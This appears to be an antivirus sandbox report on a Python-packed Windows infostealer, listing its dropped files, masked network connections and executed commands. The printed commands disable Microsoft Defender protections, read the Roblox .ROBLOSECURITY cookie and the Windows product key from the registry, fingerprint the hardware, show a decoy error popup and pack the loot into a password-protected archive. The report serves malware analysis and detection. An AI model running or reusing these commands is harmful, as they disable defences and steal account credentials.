Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%TEMP%\svchost_825140.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
Modifies file system
Creates the following files
- %TEMP%\svchost_825140.exe
- %TEMP%\_mei30082\vcruntime140.dll
- %TEMP%\_mei30082\_bz2.pyd
- %TEMP%\_mei30082\_ctypes.pyd
- %TEMP%\_mei30082\_decimal.pyd
- %TEMP%\_mei30082\_hashlib.pyd
- %TEMP%\_mei30082\_lzma.pyd
- %TEMP%\_mei30082\_queue.pyd
- %TEMP%\_mei30082\_socket.pyd
- %TEMP%\_mei30082\_sqlite3.pyd
- %TEMP%\_mei30082\_ssl.pyd
- %TEMP%\_mei30082\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei30082\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei30082\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei30082\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei30082\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei30082\base_library.zip
- %TEMP%\_mei30082\blank.aes
- %TEMP%\_mei30082\libcrypto-1_1.dll
- %TEMP%\_mei30082\libffi-8.dll
- %TEMP%\_mei30082\libssl-1_1.dll
- %TEMP%\_mei30082\python311.dll
- %TEMP%\_mei30082\rar.exe
- %TEMP%\_mei30082\rarreg.key
- %TEMP%\_mei30082\select.pyd
- %TEMP%\_mei30082\sqlite3.dll
- %TEMP%\_mei30082\ucrtbase.dll
- %TEMP%\_mei30082\unicodedata.pyd
- %TEMP%\y3l6kttsvh.tmp
- %TEMP%\oir53ytv5d.tmp
- %TEMP%\wkm8qbbjun.tmp
- %TEMP%\j3dra.zip
Deletes following files that it created itself
- %TEMP%\y3l6kttsvh.tmp
- %TEMP%\oir53ytv5d.tmp
- %TEMP%\wkm8qbbjun.tmp
- %TEMP%\j3dra.zip
- %TEMP%\_mei30082\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei30082\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei30082\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei30082\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei30082\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei30082\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei30082\base_library.zip
- %TEMP%\_mei30082\blank.aes
- %TEMP%\_mei30082\libcrypto-1_1.dll
- %TEMP%\_mei30082\libffi-8.dll
- %TEMP%\_mei30082\libssl-1_1.dll
- %TEMP%\_mei30082\python311.dll
- %TEMP%\_mei30082\rar.exe
- %TEMP%\_mei30082\rarreg.key
- %TEMP%\_mei30082\select.pyd
- %TEMP%\_mei30082\sqlite3.dll
- %TEMP%\_mei30082\ucrtbase.dll
- %TEMP%\_mei30082\unicodedata.pyd
- %TEMP%\_mei30082\vcruntime140.dll
- %TEMP%\_mei30082\_bz2.pyd
- %TEMP%\_mei30082\_ctypes.pyd
- %TEMP%\_mei30082\_decimal.pyd
- %TEMP%\_mei30082\_hashlib.pyd
- %TEMP%\_mei30082\_lzma.pyd
- %TEMP%\_mei30082\_queue.pyd
- %TEMP%\_mei30082\_socket.pyd
- %TEMP%\_mei30082\_sqlite3.pyd
- %TEMP%\_mei30082\_ssl.pyd
- %TEMP%\svchost_825140.exe
Substitutes the following files
- %TEMP%\j3dra.zip
Network activity
Connects to
- 'gs##tic.com':443
- 'ip##pi.com':80
- 'di##ord.com':443
TCP
HTTP GET requests
- http://ip##pi.com/json/?fi###########
Other
- 'gs##tic.com':443
- 'di##ord.com':443
UDP
- DNS ASK gs##tic.com
- DNS ASK ip##pi.com
- DNS ASK di##ord.com
Miscellaneous
Creates and executes the following
- '%TEMP%\svchost_825140.exe'
- '%TEMP%\_mei30082\rar.exe' a -r -hp"123" "%TEMP%\j3DRA.zip" *
Executes the following
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '%TEMP%\svchost_825140.exe'"
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...
- '<SYSTEM32>\cmd.exe' /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('msvsvc.dll not found.', 0, 'Missing files', 0+16);close()""
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"
- '<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value
- '<SYSTEM32>\tasklist.exe' /FO LIST
- '<SYSTEM32>\mshta.exe' "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('msvsvc.dll not found.', 0, 'Missing files', 0+16);close()"
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\_MEI30082\rar.exe a -r -hp"123" "%TEMP%\j3DRA.zip" *"
- '<SYSTEM32>\cmd.exe' /c "wmic os get Caption"
- '<SYSTEM32>\wbem\wmic.exe' os get Caption
- '<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"
- '<SYSTEM32>\wbem\wmic.exe' computersystem get totalphysicalmemory
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '%TEMP%\svchost_825140.exe'"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('msvsvc.dll not found.', 0, 'Missing files', 0+16);close()""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\_MEI30082\rar.exe a -r -hp"123" "%TEMP%\j3DRA.zip" *"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic os get Caption"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"' (with hidden window)